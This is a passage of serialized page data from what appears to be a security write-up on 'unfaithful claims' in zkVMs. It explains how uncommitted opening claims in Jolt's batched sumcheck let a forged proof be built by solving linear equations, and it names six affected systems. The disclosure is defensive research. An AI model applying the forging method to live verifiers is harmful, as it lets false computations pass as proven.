",{"type":22,"tag":30,"props":118484,"children":118486},{"className":118485},[8026,8027],[118487],{"type":22,"tag":101,"props":118488,"children":118490},{"className":118489},[8032],[118491],{"type":22,"tag":101,"props":118492,"children":118494},{"className":118493,"ariaHidden":5608},[8037],[118495],{"type":22,"tag":101,"props":118496,"children":118498},{"className":118497},[8042],[118499,118503],{"type":22,"tag":101,"props":118500,"children":118502},{"className":118501,"style":25570},[8047],[],{"type":22,"tag":101,"props":118504,"children":118506},{"className":118505,"style":111752},[8053,25575],[118507],{"type":27,"value":112076},{"type":27,"value":2261},{"type":22,"tag":6832,"props":118510,"children":118511},{},[118512,118514],{"type":27,"value":118513},"The verification equation has form: ",{"type":22,"tag":30,"props":118515,"children":118517},{"className":118516},[8026,8027],[118518],{"type":22,"tag":101,"props":118519,"children":118521},{"className":118520},[8032],[118522],{"type":22,"tag":101,"props":118523,"children":118525},{"className":118524,"ariaHidden":5608},[8037],[118526,118567],{"type":22,"tag":101,"props":118527,"children":118529},{"className":118528},[8042],[118530,118534,118539,118544,118549,118554,118558,118563],{"type":22,"tag":101,"props":118531,"children":118533},{"className":118532,"style":8154},[8047],[],{"type":22,"tag":101,"props":118535,"children":118537},{"className":118536,"style":98908},[8053,25575],[118538],{"type":27,"value":37080},{"type":22,"tag":101,"props":118540,"children":118542},{"className":118541},[25704],[118543],{"type":27,"value":980},{"type":22,"tag":101,"props":118545,"children":118547},{"className":118546,"style":111752},[8053,25575],[118548],{"type":27,"value":112076},{"type":22,"tag":101,"props":118550,"children":118552},{"className":118551},[25726],[118553],{"type":27,"value":2261},{"type":22,"tag":101,"props":118555,"children":118557},{"className":118556,"style":8231},[8133],[],{"type":22,"tag":101,"props":118559,"children":118561},{"className":118560},[8236],[118562],{"type":27,"value":1511},{"type":22,"tag":101,"props":118564,"children":118566},{"className":118565,"style":8231},[8133],[],{"type":22,"tag":101,"props":118568,"children":118570},{"className":118569},[8042],[118571,118576],{"type":22,"tag":101,"props":118572,"children":118575},{"className":118573,"style":118574},[8047],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":118577,"children":118579},{"className":118578},[8053,27],[118580],{"type":22,"tag":101,"props":118581,"children":118583},{"className":118582},[8053],[118584],{"type":27,"value":118585},"target",{"type":22,"tag":6832,"props":118587,"children":118588},{},[118589,118590,118616,118618],{"type":27,"value":11493},{"type":22,"tag":30,"props":118591,"children":118593},{"className":118592},[8026,8027],[118594],{"type":22,"tag":101,"props":118595,"children":118597},{"className":118596},[8032],[118598],{"type":22,"tag":101,"props":118599,"children":118601},{"className":118600,"ariaHidden":5608},[8037],[118602],{"type":22,"tag":101,"props":118603,"children":118605},{"className":118604},[8042],[118606,118611],{"type":22,"tag":101,"props":118607,"children":118610},{"className":118608,"style":118609},[8047],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":118612,"children":118614},{"className":118613,"style":98908},[8053,25575],[118615],{"type":27,"value":37080},{"type":27,"value":118617}," is linear: ",{"type":22,"tag":30,"props":118619,"children":118621},{"className":118620},[8026,8027],[118622],{"type":22,"tag":101,"props":118623,"children":118625},{"className":118624},[8032],[118626],{"type":22,"tag":101,"props":118627,"children":118629},{"className":118628,"ariaHidden":5608},[8037],[118630,118659,118686,118714],{"type":22,"tag":101,"props":118631,"children":118633},{"className":118632},[8042],[118634,118639,118646,118650,118655],{"type":22,"tag":101,"props":118635,"children":118638},{"className":118636,"style":118637},[8047],"height:0.4445em;",[],{"type":22,"tag":101,"props":118640,"children":118643},{"className":118641,"style":118642},[8053,25575],"margin-right:0.0037em;",[118644],{"type":27,"value":118645},"α",{"type":22,"tag":101,"props":118647,"children":118649},{"className":118648,"style":8134},[8133],[],{"type":22,"tag":101,"props":118651,"children":118653},{"className":118652},[8139],[118654],{"type":27,"value":114816},{"type":22,"tag":101,"props":118656,"children":118658},{"className":118657,"style":8134},[8133],[],{"type":22,"tag":101,"props":118660,"children":118662},{"className":118661},[8042],[118663,118668,118673,118677,118682],{"type":22,"tag":101,"props":118664,"children":118667},{"className":118665,"style":118666},[8047],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":118669,"children":118671},{"className":118670,"style":111752},[8053,25575],[118672],{"type":27,"value":112076},{"type":22,"tag":101,"props":118674,"children":118676},{"className":118675,"style":8134},[8133],[],{"type":22,"tag":101,"props":118678,"children":118680},{"className":118679},[8139],[118681],{"type":27,"value":8426},{"type":22,"tag":101,"props":118683,"children":118685},{"className":118684,"style":8134},[8133],[],{"type":22,"tag":101,"props":118687,"children":118689},{"className":118688},[8042],[118690,118694,118701,118705,118710],{"type":22,"tag":101,"props":118691,"children":118693},{"className":118692,"style":118609},[8047],[],{"type":22,"tag":101,"props":118695,"children":118698},{"className":118696,"style":118697},[8053,25575],"margin-right:0.05278em;",[118699],{"type":27,"value":118700},"β",{"type":22,"tag":101,"props":118702,"children":118704},{"className":118703,"style":8231},[8133],[],{"type":22,"tag":101,"props":118706,"children":118708},{"className":118707},[8236],[118709],{"type":27,"value":1511},{"type":22,"tag":101,"props":118711,"children":118713},{"className":118712,"style":8231},[8133],[],{"type":22,"tag":101,"props":118715,"children":118717},{"className":118716},[8042],[118718,118722],{"type":22,"tag":101,"props":118719,"children":118721},{"className":118720,"style":118574},[8047],[],{"type":22,"tag":101,"props":118723,"children":118725},{"className":118724},[8053,27],[118726],{"type":22,"tag":101,"props":118727,"children":118729},{"className":118728},[8053],[118730],{"type":27,"value":118585},{"type":22,"tag":6832,"props":118732,"children":118733},{},[118734,118736],{"type":27,"value":118735},"Solve: ",{"type":22,"tag":30,"props":118737,"children":118739},{"className":118738},[8026,8027],[118740],{"type":22,"tag":101,"props":118741,"children":118743},{"className":118742},[8032],[118744],{"type":22,"tag":101,"props":118745,"children":118747},{"className":118746,"ariaHidden":5608},[8037],[118748,118774,118809],{"type":22,"tag":101,"props":118749,"children":118751},{"className":118750},[8042],[118752,118756,118761,118765,118770],{"type":22,"tag":101,"props":118753,"children":118755},{"className":118754,"style":25570},[8047],[],{"type":22,"tag":101,"props":118757,"children":118759},{"className":118758,"style":111752},[8053,25575],[118760],{"type":27,"value":112076},{"type":22,"tag":101,"props":118762,"children":118764},{"className":118763,"style":8231},[8133],[],{"type":22,"tag":101,"props":118766,"children":118768},{"className":118767},[8236],[118769],{"type":27,"value":1511},{"type":22,"tag":101,"props":118771,"children":118773},{"className":118772,"style":8231},[8133],[],{"type":22,"tag":101,"props":118775,"children":118777},{"className":118776},[8042],[118778,118782,118787,118796,118800,118805],{"type":22,"tag":101,"props":118779,"children":118781},{"className":118780,"style":8154},[8047],[],{"type":22,"tag":101,"props":118783,"children":118785},{"className":118784},[25704],[118786],{"type":27,"value":980},{"type":22,"tag":101,"props":118788,"children":118790},{"className":118789},[8053,27],[118791],{"type":22,"tag":101,"props":118792,"children":118794},{"className":118793},[8053],[118795],{"type":27,"value":118585},{"type":22,"tag":101,"props":118797,"children":118799},{"className":118798,"style":8134},[8133],[],{"type":22,"tag":101,"props":118801,"children":118803},{"className":118802},[8139],[118804],{"type":27,"value":8113},{"type":22,"tag":101,"props":118806,"children":118808},{"className":118807,"style":8134},[8133],[],{"type":22,"tag":101,"props":118810,"children":118812},{"className":118811},[8042],[118813,118817,118822,118827,118832],{"type":22,"tag":101,"props":118814,"children":118816},{"className":118815,"style":8154},[8047],[],{"type":22,"tag":101,"props":118818,"children":118820},{"className":118819,"style":118697},[8053,25575],[118821],{"type":27,"value":118700},{"type":22,"tag":101,"props":118823,"children":118825},{"className":118824},[25726],[118826],{"type":27,"value":2261},{"type":22,"tag":101,"props":118828,"children":118830},{"className":118829},[8053],[118831],{"type":27,"value":8625},{"type":22,"tag":101,"props":118833,"children":118835},{"className":118834,"style":118642},[8053,25575],[118836],{"type":27,"value":118645},{"type":22,"tag":23,"props":118838,"children":118839},{},[118840],{"type":27,"value":118841},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":22,"tag":23,"props":118843,"children":118844},{},[118845,118847,118925],{"type":27,"value":118846},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":22,"tag":30,"props":118848,"children":118850},{"className":118849},[8026,8027],[118851],{"type":22,"tag":101,"props":118852,"children":118854},{"className":118853},[8032],[118855],{"type":22,"tag":101,"props":118856,"children":118858},{"className":118857,"ariaHidden":5608},[8037],[118859],{"type":22,"tag":101,"props":118860,"children":118862},{"className":118861},[8042],[118863,118868,118874,118879,118920],{"type":22,"tag":101,"props":118864,"children":118867},{"className":118865,"style":118866},[8047],"height:1.0641em;vertical-align:-0.25em;",[],{"type":22,"tag":101,"props":118869,"children":118871},{"className":118870,"style":96554},[8053,25575],[118872],{"type":27,"value":118873},"O",{"type":22,"tag":101,"props":118875,"children":118877},{"className":118876},[25704],[118878],{"type":27,"value":980},{"type":22,"tag":101,"props":118880,"children":118882},{"className":118881},[8053],[118883,118888],{"type":22,"tag":101,"props":118884,"children":118886},{"className":118885},[8053,25575],[118887],{"type":27,"value":60400},{"type":22,"tag":101,"props":118889,"children":118891},{"className":118890},[8069],[118892],{"type":22,"tag":101,"props":118893,"children":118895},{"className":118894},[8074],[118896],{"type":22,"tag":101,"props":118897,"children":118899},{"className":118898},[8079],[118900],{"type":22,"tag":101,"props":118901,"children":118903},{"className":118902,"style":8048},[8084],[118904],{"type":22,"tag":101,"props":118905,"children":118906},{"style":8088},[118907,118911],{"type":22,"tag":101,"props":118908,"children":118910},{"className":118909,"style":8094},[8093],[],{"type":22,"tag":101,"props":118912,"children":118914},{"className":118913},[8099,8100,8101,8102],[118915],{"type":22,"tag":101,"props":118916,"children":118918},{"className":118917},[8053,8102],[118919],{"type":27,"value":21293},{"type":22,"tag":101,"props":118921,"children":118923},{"className":118922},[25726],[118924],{"type":27,"value":2261},{"type":27,"value":118926}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":22,"tag":1398,"props":118928,"children":118929},{},[],{"type":22,"tag":53,"props":118931,"children":118933},{"id":118932},"the-six-broken-systems",[118934],{"type":27,"value":118935},"The Six Broken Systems",{"type":22,"tag":23,"props":118937,"children":118938},{},[118939],{"type":22,"tag":7959,"props":118940,"children":118943},{"alt":118941,"src":118942},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":22,"tag":23,"props":118945,"children":118946},{},[118947],{"type":27,"value":118948},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":22,"tag":1398,"props":118950,"children":118951},{},[],{"type":22,"tag":1760,"props":118953,"children":118955},{"id":118954},"jolt-a16z",[118956],{"type":27,"value":118957},"Jolt (a16z)",{"type":22,"tag":23,"props":118959,"children":118960},{},[118961],{"type":27,"value":118962},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":22,"tag":23,"props":118964,"children":118965},{},[118966],{"type":22,"tag":9370,"props":118967,"children":118968},{},[118969],{"type":27,"value":118970},"The proof structure:",{"type":22,"tag":91,"props":118972,"children":118974},{"code":118973},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[118975],{"type":22,"tag":30,"props":118976,"children":118977},{"__ignoreMap":7},[118978],{"type":27,"value":118973},{"type":22,"tag":23,"props":118980,"children":118981},{},[118982],{"type":22,"tag":9370,"props":118983,"children":118984},{},[118985],{"type":27,"value":118986},"The verification flow:",{"type":22,"tag":23,"props":118988,"children":118989},{},[118990],{"type":22,"tag":7959,"props":118991,"children":118994},{"alt":118992,"src":118993},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":22,"tag":23,"props":118996,"children":118997},{},[118998,119003,119005,119011,119013,119019,119021,119026],{"type":22,"tag":9370,"props":118999,"children":119000},{},[119001],{"type":27,"value":119002},"The bug:",{"type":27,"value":119004}," Each sumcheck instance provides an ",{"type":22,"tag":30,"props":119006,"children":119008},{"className":119007},[],[119009],{"type":27,"value":119010},"input_claim",{"type":27,"value":119012},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":22,"tag":30,"props":119014,"children":119016},{"className":119015},[],[119017],{"type":27,"value":119018},"opening_claims",{"type":27,"value":119020}," in the proof, but they were ",{"type":22,"tag":9370,"props":119022,"children":119023},{},[119024],{"type":27,"value":119025},"never absorbed into the transcript",{"type":27,"value":119027}," before the batching coefficients were derived.",{"type":22,"tag":23,"props":119029,"children":119030},{},[119031],{"type":22,"tag":7959,"props":119032,"children":119035},{"alt":119033,"src":119034},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":22,"tag":23,"props":119037,"children":119038},{},[119039],{"type":22,"tag":9370,"props":119040,"children":119041},{},[119042],{"type":27,"value":119043},"How sumcheck uses opening_claims:",{"type":22,"tag":23,"props":119045,"children":119046},{},[119047,119049,119055,119057,119134],{"type":27,"value":119048},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":22,"tag":30,"props":119050,"children":119052},{"className":119051},[],[119053],{"type":27,"value":119054},"BatchedClaim",{"type":27,"value":119056}," by taking a random linear combination of the individual claims ",{"type":22,"tag":30,"props":119058,"children":119060},{"className":119059},[8026,8027],[119061],{"type":22,"tag":101,"props":119062,"children":119064},{"className":119063},[8032],[119065],{"type":22,"tag":101,"props":119066,"children":119068},{"className":119067,"ariaHidden":5608},[8037],[119069],{"type":22,"tag":101,"props":119070,"children":119072},{"className":119071},[8042],[119073,119077],{"type":22,"tag":101,"props":119074,"children":119076},{"className":119075,"style":114551},[8047],[],{"type":22,"tag":101,"props":119078,"children":119080},{"className":119079},[8053],[119081,119086],{"type":22,"tag":101,"props":119082,"children":119084},{"className":119083,"style":96788},[8053,25575],[119085],{"type":27,"value":96791},{"type":22,"tag":101,"props":119087,"children":119089},{"className":119088},[8069],[119090],{"type":22,"tag":101,"props":119091,"children":119093},{"className":119092},[8074,25629],[119094,119123],{"type":22,"tag":101,"props":119095,"children":119097},{"className":119096},[8079],[119098,119118],{"type":22,"tag":101,"props":119099,"children":119101},{"className":119100,"style":97083},[8084],[119102],{"type":22,"tag":101,"props":119103,"children":119104},{"style":113983},[119105,119109],{"type":22,"tag":101,"props":119106,"children":119108},{"className":119107,"style":8094},[8093],[],{"type":22,"tag":101,"props":119110,"children":119112},{"className":119111},[8099,8100,8101,8102],[119113],{"type":22,"tag":101,"props":119114,"children":119116},{"className":119115},[8053,25575,8102],[119117],{"type":27,"value":7774},{"type":22,"tag":101,"props":119119,"children":119121},{"className":119120},[25732],[119122],{"type":27,"value":25735},{"type":22,"tag":101,"props":119124,"children":119126},{"className":119125},[8079],[119127],{"type":22,"tag":101,"props":119128,"children":119130},{"className":119129,"style":96637},[8084],[119131],{"type":22,"tag":101,"props":119132,"children":119133},{},[],{"type":27,"value":169},{"type":22,"tag":23,"props":119136,"children":119137},{},[119138],{"type":22,"tag":30,"props":119139,"children":119141},{"className":119140},[8026,8027],[119142],{"type":22,"tag":101,"props":119143,"children":119145},{"className":119144},[8032],[119146],{"type":22,"tag":101,"props":119147,"children":119149},{"className":119148,"ariaHidden":5608},[8037],[119150,119180,119321],{"type":22,"tag":101,"props":119151,"children":119153},{"className":119152},[8042],[119154,119158,119167,119171,119176],{"type":22,"tag":101,"props":119155,"children":119157},{"className":119156,"style":96469},[8047],[],{"type":22,"tag":101,"props":119159,"children":119161},{"className":119160},[8053,27],[119162],{"type":22,"tag":101,"props":119163,"children":119165},{"className":119164},[8053],[119166],{"type":27,"value":119054},{"type":22,"tag":101,"props":119168,"children":119170},{"className":119169,"style":8231},[8133],[],{"type":22,"tag":101,"props":119172,"children":119174},{"className":119173},[8236],[119175],{"type":27,"value":1511},{"type":22,"tag":101,"props":119177,"children":119179},{"className":119178,"style":8231},[8133],[],{"type":22,"tag":101,"props":119181,"children":119183},{"className":119182},[8042],[119184,119189,119246,119250,119308,119312,119317],{"type":22,"tag":101,"props":119185,"children":119188},{"className":119186,"style":119187},[8047],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":22,"tag":101,"props":119190,"children":119192},{"className":119191},[25611],[119193,119198],{"type":22,"tag":101,"props":119194,"children":119196},{"className":119195,"style":25618},[25611,25616,25617],[119197],{"type":27,"value":112349},{"type":22,"tag":101,"props":119199,"children":119201},{"className":119200},[8069],[119202],{"type":22,"tag":101,"props":119203,"children":119205},{"className":119204},[8074,25629],[119206,119235],{"type":22,"tag":101,"props":119207,"children":119209},{"className":119208},[8079],[119210,119230],{"type":22,"tag":101,"props":119211,"children":119213},{"className":119212,"style":117761},[8084],[119214],{"type":22,"tag":101,"props":119215,"children":119216},{"style":25642},[119217,119221],{"type":22,"tag":101,"props":119218,"children":119220},{"className":119219,"style":8094},[8093],[],{"type":22,"tag":101,"props":119222,"children":119224},{"className":119223},[8099,8100,8101,8102],[119225],{"type":22,"tag":101,"props":119226,"children":119228},{"className":119227},[8053,25575,8102],[119229],{"type":27,"value":7774},{"type":22,"tag":101,"props":119231,"children":119233},{"className":119232},[25732],[119234],{"type":27,"value":25735},{"type":22,"tag":101,"props":119236,"children":119238},{"className":119237},[8079],[119239],{"type":22,"tag":101,"props":119240,"children":119242},{"className":119241,"style":118041},[8084],[119243],{"type":22,"tag":101,"props":119244,"children":119245},{},[],{"type":22,"tag":101,"props":119247,"children":119249},{"className":119248,"style":8172},[8133],[],{"type":22,"tag":101,"props":119251,"children":119253},{"className":119252},[8053],[119254,119259],{"type":22,"tag":101,"props":119255,"children":119257},{"className":119256,"style":118642},[8053,25575],[119258],{"type":27,"value":118645},{"type":22,"tag":101,"props":119260,"children":119262},{"className":119261},[8069],[119263],{"type":22,"tag":101,"props":119264,"children":119266},{"className":119265},[8074,25629],[119267,119297],{"type":22,"tag":101,"props":119268,"children":119270},{"className":119269},[8079],[119271,119292],{"type":22,"tag":101,"props":119272,"children":119274},{"className":119273,"style":97083},[8084],[119275],{"type":22,"tag":101,"props":119276,"children":119278},{"style":119277},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[119279,119283],{"type":22,"tag":101,"props":119280,"children":119282},{"className":119281,"style":8094},[8093],[],{"type":22,"tag":101,"props":119284,"children":119286},{"className":119285},[8099,8100,8101,8102],[119287],{"type":22,"tag":101,"props":119288,"children":119290},{"className":119289},[8053,25575,8102],[119291],{"type":27,"value":7774},{"type":22,"tag":101,"props":119293,"children":119295},{"className":119294},[25732],[119296],{"type":27,"value":25735},{"type":22,"tag":101,"props":119298,"children":119300},{"className":119299},[8079],[119301],{"type":22,"tag":101,"props":119302,"children":119304},{"className":119303,"style":96637},[8084],[119305],{"type":22,"tag":101,"props":119306,"children":119307},{},[],{"type":22,"tag":101,"props":119309,"children":119311},{"className":119310,"style":8134},[8133],[],{"type":22,"tag":101,"props":119313,"children":119315},{"className":119314},[8139],[119316],{"type":27,"value":114816},{"type":22,"tag":101,"props":119318,"children":119320},{"className":119319,"style":8134},[8133],[],{"type":22,"tag":101,"props":119322,"children":119324},{"className":119323},[8042],[119325,119329],{"type":22,"tag":101,"props":119326,"children":119328},{"className":119327,"style":114551},[8047],[],{"type":22,"tag":101,"props":119330,"children":119332},{"className":119331},[8053],[119333,119338],{"type":22,"tag":101,"props":119334,"children":119336},{"className":119335,"style":96788},[8053,25575],[119337],{"type":27,"value":96791},{"type":22,"tag":101,"props":119339,"children":119341},{"className":119340},[8069],[119342],{"type":22,"tag":101,"props":119343,"children":119345},{"className":119344},[8074,25629],[119346,119375],{"type":22,"tag":101,"props":119347,"children":119349},{"className":119348},[8079],[119350,119370],{"type":22,"tag":101,"props":119351,"children":119353},{"className":119352,"style":97083},[8084],[119354],{"type":22,"tag":101,"props":119355,"children":119356},{"style":113983},[119357,119361],{"type":22,"tag":101,"props":119358,"children":119360},{"className":119359,"style":8094},[8093],[],{"type":22,"tag":101,"props":119362,"children":119364},{"className":119363},[8099,8100,8101,8102],[119365],{"type":22,"tag":101,"props":119366,"children":119368},{"className":119367},[8053,25575,8102],[119369],{"type":27,"value":7774},{"type":22,"tag":101,"props":119371,"children":119373},{"className":119372},[25732],[119374],{"type":27,"value":25735},{"type":22,"tag":101,"props":119376,"children":119378},{"className":119377},[8079],[119379],{"type":22,"tag":101,"props":119380,"children":119382},{"className":119381,"style":96637},[8084],[119383],{"type":22,"tag":101,"props":119384,"children":119385},{},[],{"type":22,"tag":23,"props":119387,"children":119388},{},[119389,119391,119468,119470,119475,119477,119554,119556,119633,119635,119712],{"type":27,"value":119390},"where ",{"type":22,"tag":30,"props":119392,"children":119394},{"className":119393},[8026,8027],[119395],{"type":22,"tag":101,"props":119396,"children":119398},{"className":119397},[8032],[119399],{"type":22,"tag":101,"props":119400,"children":119402},{"className":119401,"ariaHidden":5608},[8037],[119403],{"type":22,"tag":101,"props":119404,"children":119406},{"className":119405},[8042],[119407,119411],{"type":22,"tag":101,"props":119408,"children":119410},{"className":119409,"style":113524},[8047],[],{"type":22,"tag":101,"props":119412,"children":119414},{"className":119413},[8053],[119415,119420],{"type":22,"tag":101,"props":119416,"children":119418},{"className":119417,"style":118642},[8053,25575],[119419],{"type":27,"value":118645},{"type":22,"tag":101,"props":119421,"children":119423},{"className":119422},[8069],[119424],{"type":22,"tag":101,"props":119425,"children":119427},{"className":119426},[8074,25629],[119428,119457],{"type":22,"tag":101,"props":119429,"children":119431},{"className":119430},[8079],[119432,119452],{"type":22,"tag":101,"props":119433,"children":119435},{"className":119434,"style":97083},[8084],[119436],{"type":22,"tag":101,"props":119437,"children":119438},{"style":119277},[119439,119443],{"type":22,"tag":101,"props":119440,"children":119442},{"className":119441,"style":8094},[8093],[],{"type":22,"tag":101,"props":119444,"children":119446},{"className":119445},[8099,8100,8101,8102],[119447],{"type":22,"tag":101,"props":119448,"children":119450},{"className":119449},[8053,25575,8102],[119451],{"type":27,"value":7774},{"type":22,"tag":101,"props":119453,"children":119455},{"className":119454},[25732],[119456],{"type":27,"value":25735},{"type":22,"tag":101,"props":119458,"children":119460},{"className":119459},[8079],[119461],{"type":22,"tag":101,"props":119462,"children":119464},{"className":119463,"style":96637},[8084],[119465],{"type":22,"tag":101,"props":119466,"children":119467},{},[],{"type":27,"value":119469}," are random coefficients derived from the transcript. Since ",{"type":22,"tag":30,"props":119471,"children":119473},{"className":119472},[],[119474],{"type":27,"value":119018},{"type":27,"value":119476}," (containing ",{"type":22,"tag":30,"props":119478,"children":119480},{"className":119479},[8026,8027],[119481],{"type":22,"tag":101,"props":119482,"children":119484},{"className":119483},[8032],[119485],{"type":22,"tag":101,"props":119486,"children":119488},{"className":119487,"ariaHidden":5608},[8037],[119489],{"type":22,"tag":101,"props":119490,"children":119492},{"className":119491},[8042],[119493,119497],{"type":22,"tag":101,"props":119494,"children":119496},{"className":119495,"style":114551},[8047],[],{"type":22,"tag":101,"props":119498,"children":119500},{"className":119499},[8053],[119501,119506],{"type":22,"tag":101,"props":119502,"children":119504},{"className":119503,"style":96788},[8053,25575],[119505],{"type":27,"value":96791},{"type":22,"tag":101,"props":119507,"children":119509},{"className":119508},[8069],[119510],{"type":22,"tag":101,"props":119511,"children":119513},{"className":119512},[8074,25629],[119514,119543],{"type":22,"tag":101,"props":119515,"children":119517},{"className":119516},[8079],[119518,119538],{"type":22,"tag":101,"props":119519,"children":119521},{"className":119520,"style":97083},[8084],[119522],{"type":22,"tag":101,"props":119523,"children":119524},{"style":113983},[119525,119529],{"type":22,"tag":101,"props":119526,"children":119528},{"className":119527,"style":8094},[8093],[],{"type":22,"tag":101,"props":119530,"children":119532},{"className":119531},[8099,8100,8101,8102],[119533],{"type":22,"tag":101,"props":119534,"children":119536},{"className":119535},[8053,25575,8102],[119537],{"type":27,"value":7774},{"type":22,"tag":101,"props":119539,"children":119541},{"className":119540},[25732],[119542],{"type":27,"value":25735},{"type":22,"tag":101,"props":119544,"children":119546},{"className":119545},[8079],[119547],{"type":22,"tag":101,"props":119548,"children":119550},{"className":119549,"style":96637},[8084],[119551],{"type":22,"tag":101,"props":119552,"children":119553},{},[],{"type":27,"value":119555},") were not in the transcript, the ",{"type":22,"tag":30,"props":119557,"children":119559},{"className":119558},[8026,8027],[119560],{"type":22,"tag":101,"props":119561,"children":119563},{"className":119562},[8032],[119564],{"type":22,"tag":101,"props":119565,"children":119567},{"className":119566,"ariaHidden":5608},[8037],[119568],{"type":22,"tag":101,"props":119569,"children":119571},{"className":119570},[8042],[119572,119576],{"type":22,"tag":101,"props":119573,"children":119575},{"className":119574,"style":113524},[8047],[],{"type":22,"tag":101,"props":119577,"children":119579},{"className":119578},[8053],[119580,119585],{"type":22,"tag":101,"props":119581,"children":119583},{"className":119582,"style":118642},[8053,25575],[119584],{"type":27,"value":118645},{"type":22,"tag":101,"props":119586,"children":119588},{"className":119587},[8069],[119589],{"type":22,"tag":101,"props":119590,"children":119592},{"className":119591},[8074,25629],[119593,119622],{"type":22,"tag":101,"props":119594,"children":119596},{"className":119595},[8079],[119597,119617],{"type":22,"tag":101,"props":119598,"children":119600},{"className":119599,"style":97083},[8084],[119601],{"type":22,"tag":101,"props":119602,"children":119603},{"style":119277},[119604,119608],{"type":22,"tag":101,"props":119605,"children":119607},{"className":119606,"style":8094},[8093],[],{"type":22,"tag":101,"props":119609,"children":119611},{"className":119610},[8099,8100,8101,8102],[119612],{"type":22,"tag":101,"props":119613,"children":119615},{"className":119614},[8053,25575,8102],[119616],{"type":27,"value":7774},{"type":22,"tag":101,"props":119618,"children":119620},{"className":119619},[25732],[119621],{"type":27,"value":25735},{"type":22,"tag":101,"props":119623,"children":119625},{"className":119624},[8079],[119626],{"type":22,"tag":101,"props":119627,"children":119629},{"className":119628,"style":96637},[8084],[119630],{"type":22,"tag":101,"props":119631,"children":119632},{},[],{"type":27,"value":119634}," values are independent of ",{"type":22,"tag":30,"props":119636,"children":119638},{"className":119637},[8026,8027],[119639],{"type":22,"tag":101,"props":119640,"children":119642},{"className":119641},[8032],[119643],{"type":22,"tag":101,"props":119644,"children":119646},{"className":119645,"ariaHidden":5608},[8037],[119647],{"type":22,"tag":101,"props":119648,"children":119650},{"className":119649},[8042],[119651,119655],{"type":22,"tag":101,"props":119652,"children":119654},{"className":119653,"style":114551},[8047],[],{"type":22,"tag":101,"props":119656,"children":119658},{"className":119657},[8053],[119659,119664],{"type":22,"tag":101,"props":119660,"children":119662},{"className":119661,"style":96788},[8053,25575],[119663],{"type":27,"value":96791},{"type":22,"tag":101,"props":119665,"children":119667},{"className":119666},[8069],[119668],{"type":22,"tag":101,"props":119669,"children":119671},{"className":119670},[8074,25629],[119672,119701],{"type":22,"tag":101,"props":119673,"children":119675},{"className":119674},[8079],[119676,119696],{"type":22,"tag":101,"props":119677,"children":119679},{"className":119678,"style":97083},[8084],[119680],{"type":22,"tag":101,"props":119681,"children":119682},{"style":113983},[119683,119687],{"type":22,"tag":101,"props":119684,"children":119686},{"className":119685,"style":8094},[8093],[],{"type":22,"tag":101,"props":119688,"children":119690},{"className":119689},[8099,8100,8101,8102],[119691],{"type":22,"tag":101,"props":119692,"children":119694},{"className":119693},[8053,25575,8102],[119695],{"type":27,"value":7774},{"type":22,"tag":101,"props":119697,"children":119699},{"className":119698},[25732],[119700],{"type":27,"value":25735},{"type":22,"tag":101,"props":119702,"children":119704},{"className":119703},[8079],[119705],{"type":22,"tag":101,"props":119706,"children":119708},{"className":119707,"style":96637},[8084],[119709],{"type":22,"tag":101,"props":119710,"children":119711},{},[],{"type":27,"value":231},{"type":22,"tag":23,"props":119714,"children":119715},{},[119716],{"type":22,"tag":9370,"props":119717,"children":119718},{},[119719],{"type":27,"value":119720},"Why it's linear:",{"type":22,"tag":23,"props":119722,"children":119723},{},[119724,119726],{"type":27,"value":119725},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":22,"tag":30,"props":119727,"children":119729},{"className":119728},[8026,8027],[119730],{"type":22,"tag":101,"props":119731,"children":119733},{"className":119732},[8032],[119734],{"type":22,"tag":101,"props":119735,"children":119737},{"className":119736,"ariaHidden":5608},[8037],[119738],{"type":22,"tag":101,"props":119739,"children":119741},{"className":119740},[8042],[119742,119746],{"type":22,"tag":101,"props":119743,"children":119745},{"className":119744,"style":25570},[8047],[],{"type":22,"tag":101,"props":119747,"children":119749},{"className":119748,"style":96788},[8053,25575],[119750],{"type":27,"value":96791},{"type":22,"tag":23,"props":119752,"children":119753},{},[119754],{"type":22,"tag":30,"props":119755,"children":119757},{"className":119756},[8026,8027],[119758],{"type":22,"tag":101,"props":119759,"children":119761},{"className":119760},[8032],[119762],{"type":22,"tag":101,"props":119763,"children":119765},{"className":119764,"ariaHidden":5608},[8037],[119766,119856,119882,119908],{"type":22,"tag":101,"props":119767,"children":119769},{"className":119768},[8042],[119770,119774,119843,119847,119852],{"type":22,"tag":101,"props":119771,"children":119773},{"className":119772,"style":114551},[8047],[],{"type":22,"tag":101,"props":119775,"children":119777},{"className":119776},[8053],[119778,119784],{"type":22,"tag":101,"props":119779,"children":119781},{"className":119780,"style":26107},[8053,25575],[119782],{"type":27,"value":119783},"C",{"type":22,"tag":101,"props":119785,"children":119787},{"className":119786},[8069],[119788],{"type":22,"tag":101,"props":119789,"children":119791},{"className":119790},[8074,25629],[119792,119832],{"type":22,"tag":101,"props":119793,"children":119795},{"className":119794},[8079],[119796,119827],{"type":22,"tag":101,"props":119797,"children":119800},{"className":119798,"style":119799},[8084],"height:0.3361em;",[119801],{"type":22,"tag":101,"props":119802,"children":119804},{"